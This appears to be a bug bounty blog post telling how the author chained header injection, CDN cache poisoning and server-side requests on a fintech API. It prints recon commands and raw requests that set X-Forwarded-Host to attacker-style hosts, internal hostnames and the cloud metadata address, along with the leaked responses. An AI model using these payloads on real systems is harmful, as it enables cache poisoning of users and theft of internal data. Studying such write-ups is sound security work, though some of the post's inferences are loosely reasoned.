Free link 🎈

When criminals post their recon notes… and you turn them into a bounty.

Ever Notice How Hackers Talk Too Much? 🤦‍♂️

You know that one friend who goes to the gym twice and suddenly starts posting "fitness advice" on Instagram?

Yeah… cybercriminals do the exact same thing.

They pop one server, dump a database, and suddenly they're writing full attack guides on underground forums like they're professors at Hacker University.

And one random night while scrolling through some dark web chatter, I realized something hilarious…

A threat actor had basically written down my entire recon strategy — except they did it while trying to attack the same company I was hunting on.

So naturally, I did what any curious bug bounty hunter would do.

I followed their notes… improved their technique… and ended up finding a high-severity bug involving CDN cache poisoning and internal API exposure.

Free recon from criminals. I'll take it. 😌

🕶️ Where This Started: Dark Web Recon

A lot of hunters begin with the usual workflow:

• Subdomain enumeration
• JavaScript endpoint mining
• Directory fuzzing

But attackers often begin somewhere else entirely.

They start with leaked intelligence.

While digging through some underground forums (the usual late-night recon routine), I noticed a thread discussing a fintech platform.

The post included:

• hidden endpoints
• CDN behavior notes
• header manipulation tricks
• API response examples

Basically… the attacker had accidentally published a recon notebook.

And the target?

A company that also happened to run a public bug bounty program.

That's when things got interesting.

🔎 Phase 1 — Recon Like an Attacker

Instead of jumping straight into scanning, I started mapping the surface.

First step: subdomain discovery.

subfinder -d target.com -all -recursive -silent | tee subs.txt
amass enum -passive -d target.com >> subs.txt

Then resolving which hosts were alive:

cat subs.txt | httpx -title -status-code -tech-detect -server -cdn

One host immediately caught my attention:

assets-api.target.com

The response headers were interesting:

server: cloudflare
x-cache: HIT
x-served-by: cache-lhr7312

That usually means one thing.

There's a CDN layer actively caching responses.

And whenever caching is involved… cache poisoning becomes a possibility.

🧠 Phase 2 — Looking at the Attacker's Notes

The forum post had a short line that stuck with me:

"Some endpoints trust forwarded headers."

That's a huge red flag.

Headers like these are often abused:

X-Forwarded-Host
X-Forwarded-Proto
Forwarded
X-Original-URL

Applications frequently trust these headers because they assume requests come from a reverse proxy.

But if they're not sanitized properly…

Attackers can manipulate them.

So I started testing.

⚡ Phase 3 — Finding the Vulnerable Endpoint

I began fuzzing directories to see what APIs existed.

ffuf -u https://assets-api.target.com/FUZZ \
-w raft-medium-words.txt -mc 200,401,403

One endpoint looked promising:

/api/v2/public/assets/metadata

The response looked harmless at first.

{
 "cdn": "active",
 "cache": "enabled",
 "environment": "production"
}

But the header told a different story.

Cache-Control: public, max-age=3600

Meaning:

👉 The response could be cached for one hour.

That's a long time in bug bounty land.

🧪 Phase 4 — Header Injection Testing

I started testing header manipulation.

Request:

GET /api/v2/public/assets/metadata
Host: assets-api.target.com
X-Forwarded-Host: attacker.com

The response changed slightly.

{
 "resource_url": "https://attacker.com/assets/"
}

That meant the backend was trusting the forwarded host header when constructing URLs.

Now the next question was simple.

Could I make the CDN cache this malicious response?

💣 Phase 5 — Poisoning the Cache

I repeated the request with the malicious header.

GET /api/v2/public/assets/metadata
Host: assets-api.target.com
X-Forwarded-Host: evil.example

Then checked the response headers.

x-cache: HIT

That meant the poisoned response had been stored by the CDN.

Now when anyone accessed that endpoint, they received:

{
 "resource_url": "https://evil.example/assets/"
}

So far this was classic web cache poisoning.

But I wanted to see if it could lead to something bigger.

🔐 Phase 6 — Digging Deeper into the API

Another endpoint appeared nearby.

/api/v2/public/assets/config

Testing showed something interesting.

The application used the same header when fetching configuration files.

So I tried pointing it internally.

X-Forwarded-Host: internal-api.target.local

Response:

{
 "services": [
  "auth.internal",
  "payments.internal",
  "logs.internal"
 ]
}

Now things got serious.

The API was actually querying internal services using user-controlled input.

Which meant this vulnerability was slowly turning into internal infrastructure discovery.

🧨 Phase 7 — Metadata Discovery

Time for the classic test.

Cloud metadata endpoints often sit at:

169.254.169.254

So I tried:

X-Forwarded-Host: 169.254.169.254

The response returned partial data:

{
 "instance_id": "i-08382aa1",
 "region": "us-east-1"
}

Not the full metadata response, but enough to prove something important.

The application was making server-side requests based on user input.

The vulnerability chain now looked like this:

Header Injection
→ CDN Cache Poisoning
→ Internal API Requests
→ Metadata Exposure

That's the kind of chain that bug bounty programs usually rate as High severity.

📂 Full Proof-of-Concept Flow

Step 1 — Send poisoned request

GET /api/v2/public/assets/config
Host: assets-api.target.com
X-Forwarded-Host: attacker-domain.com

Step 2 — Verify cached response

x-cache: HIT

Step 3 — Redirect request internally

X-Forwarded-Host: 169.254.169.254

Step 4 — Metadata exposure confirmed

instance_id
region
internal services

Impact:

• Internal infrastructure mapping
• Sensitive configuration disclosure
• Potential privilege escalation

🕶️ Why Attackers Love These Bugs

While reading dark web forums over time, I've noticed attackers repeatedly target three things:

1️⃣ Cache layers 2️⃣ Proxy headers 3️⃣ Internal APIs

Because when these combine, the attack surface becomes huge.

CDNs often amplify vulnerabilities because poisoned responses affect every user hitting the cache.

Which makes exploitation extremely powerful.

🧠 What I Learned From Criminal Recon

The funniest part of this story?

The attackers unintentionally helped me find the bug.

Their forum post revealed:

• which endpoints to test
• which headers might work
• how the infrastructure behaved

They basically did half the recon work for me.

All I did was connect the dots.

Final Thoughts

Bug bounty hunting sometimes feels like solving a puzzle.

Other times…

It feels like someone accidentally leaves the answer sheet on the internet.

And when threat actors publicly document their attack strategies, smart hunters can learn a lot from them.

In this case, a random dark web recon thread ended up leading me straight to a vulnerability chain.

Not bad for a late-night recon session and a cup of coffee. ☕💻

Connect with Me!

• Instagram: @rev_shinchan
• Gmail: rev30102001@gmail.com

#EnnamPolVazhlkai😇

#BugBounty, #CyberSecurity, #InfoSec, #Hacking, #WebSecurity, #CTF